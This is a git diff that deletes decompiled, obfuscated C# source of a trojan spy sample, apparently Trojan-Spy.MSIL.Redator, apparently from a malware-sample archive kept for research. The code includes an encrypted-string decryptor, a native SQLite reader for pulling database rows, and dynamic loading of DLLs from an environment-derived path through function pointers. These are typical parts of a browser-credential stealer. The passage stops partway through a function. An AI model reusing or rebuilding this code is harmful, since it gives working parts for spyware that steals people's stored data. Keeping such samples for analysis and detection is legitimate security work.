void \u0001(out int wzDynamicDir, ref uint pdwSize); - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("CD193BC0-B4BC-11d2-9833-00C04FC31D2E")] - [ComImport] - internal interface \u0005 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint PropertyId, IntPtr pvProperty, uint cbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint PropertyId, IntPtr pvProperty, ref uint pcbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(IntPtr szDisplayName, ref uint pccDisplayName, uint dwDisplayFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001( - object refIID, - object pAsmBindSink, - \u0001.\u0004 pApplicationContext, - [MarshalAs(UnmanagedType.LPWStr)] string szCodeBase, - long llFlags, - int pvReserved, - uint cbReserved, - out int ppv); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out uint lpcwBuffer, out int pwzName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out uint pdwVersionHi, out uint pdwVersionLow); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(\u0001.\u0005 pName, uint dwCmpFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out \u0001.\u0005 pName); - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("9e3aaeb4-d1cd-11d2-bab9-00c04f8eceae")] - [ComImport] - internal interface \u0006 - { - void \u0001( - [MarshalAs(UnmanagedType.LPWStr)] string pszName, - uint dwFormat, - uint dwFlags, - uint dwMaxSize, - out \u0001.\u0003 ppStream); - - void \u0002(\u0001.\u0005 pName); - - void \u0001(uint dwFlags); - - void \u0002(uint dwFlags); - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("e707dcde-d1cd-11d2-bab9-00c04f8eceae")] - [ComImport] - internal interface \u0007 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pvReserved, out uint pulDisposition); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pAsmInfo); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001( - uint dwFlags, - IntPtr pvReserved, - out \u0001.\u0006 ppAsmItem, - [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out object ppAsmScavenger); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0002(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszManifestFilePath, IntPtr pvReserved); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0003/_0002.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0003/_0002.cs deleted file mode 100644 index 089d2748..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0003/_0002.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using \u0002; -using System; - -namespace \u0003 -{ - internal class \u0002 - { - public static void \u0003() - { - try - { - \u0003.\u0003(); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0003/_0003.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0003/_0003.cs deleted file mode 100644 index 19fe40b5..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0003/_0003.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using \u0004; -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0003 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0003 : WindowsFormsApplicationBase - { - public \u0003() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = true; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [STAThread] - internal static void \u0003([In] string[] obj0) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - \u0002.\u0003().Run(obj0); - } - - protected override void OnCreateMainForm() => this.MainForm = (Form) \u0002.\u0003().\u0003(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0004/_0001.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0004/_0001.cs deleted file mode 100644 index 14404ac7..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0004/_0001.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace \u0004 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0001 : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0001() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0004/_0002.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0004/_0002.cs deleted file mode 100644 index f1238d5f..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0004/_0002.cs +++ /dev/null @@ -1,154 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using \u0004; -using \u0006; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0004 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class \u0002 - { - private static readonly \u0002.\u0003<\u0001> \u0001 = new \u0002.\u0003<\u0001>(); - private static readonly \u0002.\u0003<\u0003.\u0003> \u0001 = new \u0002.\u0003<\u0003.\u0003>(); - private static readonly \u0002.\u0003 \u0001 = new \u0002.\u0003(); - private static \u0002.\u0003<\u0002.\u0001> \u0001 = new \u0002.\u0003<\u0002.\u0001>(); - private static readonly \u0002.\u0003<\u0002.\u0002> \u0001 = new \u0002.\u0003<\u0002.\u0002>(); - - [DebuggerNonUserCode] - static \u0002() - { - } - - internal static \u0001 \u0003() => \u0002.\u0001.\u0003(); - - internal static \u0003.\u0003 \u0003() => \u0002.\u0001.\u0003(); - - internal static \u0002.\u0001 \u0003() => \u0002.\u0001.\u0003(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0001 - { - public \u0006.\u0003 \u0001; - [ThreadStatic] - private static Hashtable \u0001; - - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0001() - { - } - - [DebuggerNonUserCode] - public \u0006.\u0003 \u0003() - { - this.\u0001 = \u0002.\u0001.\u0003<\u0006.\u0003>(this.\u0001); - return this.\u0001; - } - - private static T \u0003([In] T obj0) where T : Form, new() - { - if ((object) obj0 != null && !obj0.IsDisposed) - return obj0; - if (\u0002.\u0001.\u0001 != null) - { - if (\u0002.\u0001.\u0001.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString(\u0001.\u0003(-1567517723))); - } - else - goto label_10; -label_4: - \u0002.\u0001.\u0001.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString(\u0001.\u0003(-1567517798), ex.InnerException.Message), ex.InnerException); - } - finally - { - \u0002.\u0001.\u0001.Remove((object) typeof (T)); - } -label_10: - \u0002.\u0001.\u0001 = new Hashtable(); - goto label_4; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals([In] object obj0) => base.Equals(RuntimeHelpers.GetObjectValue(obj0)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0002 - { - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals([In] object obj0) => base.Equals(RuntimeHelpers.GetObjectValue(obj0)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0003<\u0002> where \u0002 : new() - { - [ThreadStatic] - private static \u0002 \u0001; - - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0003() - { - } - - internal \u0002 \u0003() - { - if ((object) \u0002.\u0003<\u0002>.\u0001 == null) - goto label_2; -label_1: - return \u0002.\u0003<\u0002>.\u0001; -label_2: - \u0002.\u0003<\u0002>.\u0001 = new \u0002(); - goto label_1; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0004/_0003.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0004/_0003.cs deleted file mode 100644 index c9548bec..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0004/_0003.cs +++ /dev/null @@ -1,199 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using \u0004; -using \u0006; -using System; -using System.Data; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0004 -{ - internal sealed class \u0003 - { - private IntPtr \u0001; - - public \u0003() => this.\u0001 = IntPtr.Zero; - - public \u0003([In] string obj0) => this.\u0003(obj0); - - [DllImport("kernel32", EntryPoint = "HeapAlloc")] - private static extern IntPtr \u0003([In] IntPtr obj0, [In] uint obj1, [In] uint obj2); - - [DllImport("kernel32", EntryPoint = "GetProcessHeap")] - private static extern IntPtr \u0003(); - - [DllImport("kernel32", EntryPoint = "lstrlen")] - private static extern int \u0003([In] IntPtr obj0); - - [DllImport("sqlite3", EntryPoint = "sqlite3_open")] - private static extern int \u0003([In] IntPtr obj0, [In] ref IntPtr obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_prepare_v2")] - private static extern int \u0003( - [In] IntPtr obj0, - [In] IntPtr obj1, - [In] int obj2, - [In] ref IntPtr obj3, - [In] ref IntPtr obj4); - - [DllImport("sqlite3", EntryPoint = "sqlite3_step")] - private static extern int \u0004([In] IntPtr obj0); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_count")] - private static extern int \u0005([In] IntPtr obj0); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_name")] - private static extern IntPtr \u0003([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_type")] - private static extern int \u0003([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_int")] - private static extern int \u0004([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_double")] - private static extern double \u0003([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_text")] - private static extern IntPtr \u0004([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_blob")] - private static extern IntPtr \u0005([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_finalize")] - private static extern int \u0006([In] IntPtr obj0); - - public void \u0003([In] string obj0) - { - if (\u0003.\u0003(this.\u0003(obj0), ref this.\u0001) != 0) - { - this.\u0001 = IntPtr.Zero; - throw new Exception(\u0001.\u0003(-1567509695) + obj0 + \u0001.\u0003(-1567509658)); - } - } - - public DataTable \u0003([In] string obj0) - { - IntPtr num1; - IntPtr num2; - \u0003.\u0003(this.\u0001, this.\u0003(obj0), this.\u0007(this.\u0003(obj0)), ref num1, ref num2); - DataTable dataTable = new DataTable(); - int num3 = this.\u0003(num1, ref dataTable); - while (num3 == 100) - num3 = this.\u0004(num1, ref dataTable); - \u0003.\u0006(num1); - return dataTable; - } - - private int \u0003([In] IntPtr obj0, [In] ref DataTable obj1) - { - obj1 = new DataTable(\u0001.\u0003(-1567509932)); - if (\u0003.\u0004(obj0) == 100) - goto label_11; -label_10: - return \u0003.\u0004(obj0); -label_11: - int num1 = \u0003.\u0005(obj0); - string empty = string.Empty; - object[] objArray = new object[checked (num1 - 1 + 1)]; - int num2 = checked (num1 - 1); - int index = 0; - while (index <= num2) - { - string columnName = this.\u0003(\u0003.\u0003(obj0, index)); - switch (\u0003.\u0003(obj0, index)) - { - case 1: - obj1.Columns.Add(columnName, Type.GetType(\u0001.\u0003(-1567509894))); - objArray[index] = (object) \u0003.\u0004(obj0, index); - break; - case 2: - obj1.Columns.Add(columnName, Type.GetType(\u0001.\u0003(-1567510001))); - objArray[index] = (object) \u0003.\u0003(obj0, index); - break; - case 3: - obj1.Columns.Add(columnName, Type.GetType(\u0001.\u0003(-1567509997))); - objArray[index] = (object) this.\u0003(\u0003.\u0004(obj0, index)); - break; - case 4: - obj1.Columns.Add(columnName, Type.GetType(\u0001.\u0003(-1567509997))); - objArray[index] = (object) this.\u0003(\u0003.\u0005(obj0, index)); - break; - default: - obj1.Columns.Add(columnName, Type.GetType(\u0001.\u0003(-1567509997))); - objArray[index] = (object) string.Empty; - break; - } - checked { ++index; } - } - obj1.Rows.Add(objArray); - goto label_10; - } - - private int \u0004([In] IntPtr obj0, [In] ref DataTable obj1) - { - int num1 = \u0003.\u0005(obj0); - object[] objArray = new object[checked (num1 - 1 + 1)]; - int num2 = checked (num1 - 1); - int index = 0; - while (index <= num2) - { - switch (\u0003.\u0003(obj0, index)) - { - case 1: - objArray[index] = (object) \u0003.\u0004(obj0, index); - break; - case 2: - objArray[index] = (object) \u0003.\u0003(obj0, index); - break; - case 3: - objArray[index] = (object) this.\u0003(\u0003.\u0004(obj0, index)); - break; - case 4: - objArray[index] = (object) this.\u0003(\u0003.\u0005(obj0, index)); - break; - default: - objArray[index] = (object) string.Empty; - break; - } - checked { ++index; } - } - obj1.Rows.Add(objArray); - return \u0003.\u0004(obj0); - } - - private IntPtr \u0003([In] string obj0) - { - switch (obj0) - { - case null: - return IntPtr.Zero; - default: - byte[] bytes = Encoding.UTF8.GetBytes(obj0); - uint num1 = checked ((uint) (bytes.Length + 1)); - IntPtr num2 = \u0003.\u0003(\u0003.\u0003(), 0U, num1); - Marshal.Copy(bytes, 0, num2, bytes.Length); - Marshal.WriteByte(num2, bytes.Length, (byte) 0); - return num2; - } - } - - private string \u0003([In] IntPtr obj0) - { - if (obj0 == IntPtr.Zero) - return (string) null; - Encoding utF8 = Encoding.UTF8; - int num = this.\u0007(obj0); - byte[] numArray = new byte[checked (num - 1 + 1)]; - Marshal.Copy(obj0, numArray, 0, num); - return utF8.GetString(numArray, 0, num); - } - - private int \u0007([In] IntPtr obj0) => obj0 == IntPtr.Zero ? 0 : \u0003.\u0003(obj0); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0005/_0001.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0005/_0001.cs deleted file mode 100644 index a3a9eac3..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0005/_0001.cs +++ /dev/null @@ -1,77 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using \u0005; -using \u0006; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0005 -{ - internal sealed class \u0001 - { - private static IntPtr \u0001; - public static string \u0001; - - [DllImport("kernel32.dll", EntryPoint = "LoadLibrary")] - private static extern IntPtr \u0003([In] string obj0); - - [DllImport("kernel32", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr \u0003([In] IntPtr obj0, [In] string obj1); - - public static long \u0003([In] string obj0) - { - long num; - try - { - string str = Environment.GetEnvironmentVariable(\u0001.\u0003(-1567516124)) + \u0001.\u0003(-1567516215); - \u0001.\u0003(str + \u0001.\u0003(-1567519556)); - \u0001.\u0003(str + \u0001.\u0003(-1567519679)); - \u0001.\u0003(str + \u0001.\u0003(-1567519663)); - \u0001.\u0003(str + \u0001.\u0003(-1567519646)); - \u0001.\u0003(str + \u0001.\u0003(-1567519630)); - \u0001.\u0003(str + \u0001.\u0003(-1567519744)); - \u0001.\u0003(str + \u0001.\u0003(-1567519722)); - \u0001.\u0003(str + \u0001.\u0003(-1567519685)); - \u0001.\u0001 = \u0001.\u0003(str + \u0001.\u0003(-1567509560)); - num = ((\u0001.\u0002) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0001, \u0001.\u0003(-1567509543)), typeof (\u0001.\u0002)))(obj0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return num; - } - - public static long \u0003() => ((\u0001.\u0004) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0001, \u0001.\u0003(-1567509526)), typeof (\u0001.\u0004)))(); - - public static long \u0003([In] long obj0, [In] bool obj1, [In] long obj2) => ((\u0001.\u0003) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0001, \u0001.\u0003(-1567509516)), typeof (\u0001.\u0003)))(obj0, obj1, obj2); - - public static int \u0003([In] IntPtr obj0, [In] IntPtr obj1, [In] StringBuilder obj2, [In] int obj3) => ((\u0001.\u0005) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0001, \u0001.\u0003(-1567509604)), typeof (\u0001.\u0005)))(obj0, obj1, obj2, obj3); - - public static int \u0003([In] ref \u0001.\u0001 obj0, [In] ref \u0001.\u0001 obj1, [In] int obj2) => ((\u0001.\u0006) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0001, \u0001.\u0003(-1567509569)), typeof (\u0001.\u0006)))(ref obj0, ref obj1, obj2); - - public struct \u0001 - { - public int \u0001; - public int \u0001; - public int \u0001; - } - - public delegate long \u0002(string _param1); - - public delegate long \u0003(long _param1, bool _param2, long _param3); - - public delegate long \u0004(); - - public delegate int \u0005(IntPtr _param1, IntPtr _param2, StringBuilder _param3, int _param4); - - public delegate int \u0006(ref \u0001.\u0001 _param1, ref \u0001.\u0001 _param2, int _param3); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0005/_0002.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0005/_0002.cs deleted file mode 100644 index 59bf0fe9..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0005/_0002.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using \u0005; -using \u0006; -using System.CodeDom.Compiler; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace \u0005 -{ - [DebuggerNonUserCode] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - internal sealed class \u0002 - { - private static ResourceManager \u0001; - private static CultureInfo \u0001; - - internal static ResourceManager \u0003() - { - if (object.ReferenceEquals((object) \u0002.\u0001, (object) null)) - \u0002.\u0001 = new ResourceManager(\u0001.\u0003(-1567509977), typeof (\u0002).Assembly); - return \u0002.\u0001; - } - - internal static byte[] \u0003() => (byte[]) RuntimeHelpers.GetObjectValue(\u0002.\u0003().GetObject(\u0001.\u0003(-1567516488), \u0002.\u0001)); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0005/_0003.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0005/_0003.cs deleted file mode 100644 index 80011bac..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0005/_0003.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using \u0007; -using System.Diagnostics; - -namespace \u0005 -{ - [DebuggerNonUserCode] - internal sealed class \u0003 - { - internal static \u0001 \u0003() => \u0001.Default; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0006/_0001.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0006/_0001.cs deleted file mode 100644 index 725d5b6e..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0006/_0001.cs +++ /dev/null @@ -1,104 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using \u0006; -using System.Collections.Generic; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0006 -{ - internal static class \u0001 - { - private static readonly Dictionary \u0001 = new Dictionary(207); - private static BinaryReader \u0001; - private static byte[] \u0001; - private static short \u0001; - private static bool \u0001; - private static byte[] \u0001; - - [MethodImpl(MethodImplOptions.NoInlining)] - public static string \u0003([In] int obj0) - { - lock (\u0006.\u0001.\u0001) - { - string str; - if (\u0006.\u0001.\u0001.TryGetValue(obj0, out str)) - return str; - if (\u0006.\u0001.\u0001 == null) - goto label_28; -label_7: - int num1 = obj0 ^ -1567517749; - \u0006.\u0001.\u0001.BaseStream.Position = (long) num1; - byte[] numArray; - if (\u0006.\u0001.\u0001 != null) - { - numArray = \u0006.\u0001.\u0001; - } - else - { - short count = \u0006.\u0001.\u0001 != (short) -1 ? \u0006.\u0001.\u0001 : (short) ((int) \u0006.\u0001.\u0001.ReadInt16() ^ 32401 ^ num1); - numArray = count != (short) 0 ? \u0006.\u0001.\u0001.ReadBytes((int) count) : (byte[]) null; - } - int count1 = \u0006.\u0001.\u0001.ReadInt32() ^ num1 ^ -409120314; - bool flag = (count1 & int.MinValue) != 0; - if (flag) - count1 &= int.MaxValue; - byte[] bytes = \u0002.\u0003(numArray, \u0006.\u0001.\u0001.ReadBytes(count1)); - if (\u0006.\u0001.\u0001 != null != \u0006.\u0001.\u0001) - { - for (int index = 0; index < count1; ++index) - { - byte num2 = \u0006.\u0001.\u0001[index & 7]; - byte num3 = (byte) ((int) num2 << 3 | (int) num2 >> 5); - bytes[index] = (byte) ((uint) bytes[index] ^ (uint) num3); - } - } - if (flag && !\u0006.\u0001.\u0001) - { - char[] chArray = new char[count1]; - for (int index = 0; index < count1; ++index) - chArray[index] = (char) bytes[index]; - str = new string(chArray); - } - else - str = Encoding.Unicode.GetString(bytes, 0, bytes.Length); - if (\u0006.\u0001.\u0001) - str = (obj0 + count1 ^ 936568).ToString(\u0001.\u0001.\u0003(699)); - str = string.Intern(str); - \u0006.\u0001.\u0001.Add(obj0, str); - if (\u0006.\u0001.\u0001.Count == 207) - { - \u0006.\u0001.\u0001.Close(); - \u0006.\u0001.\u0001 = (BinaryReader) null; - \u0006.\u0001.\u0001 = \u0006.\u0001.\u0001 = (byte[]) null; - } - return str; -label_28: - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - Assembly.GetCallingAssembly(); - \u0006.\u0001.\u0001 = false; - \u0006.\u0001.\u0001 = new BinaryReader(executingAssembly.GetManifestResourceStream(\u0001.\u0001.\u0003(650))); - short count2 = (short) ((int) \u0006.\u0001.\u0001.ReadInt16() ^ 13973); - if (count2 == (short) 0) - \u0006.\u0001.\u0001 = (short) ((int) \u0006.\u0001.\u0001.ReadInt16() ^ -31837); - else - 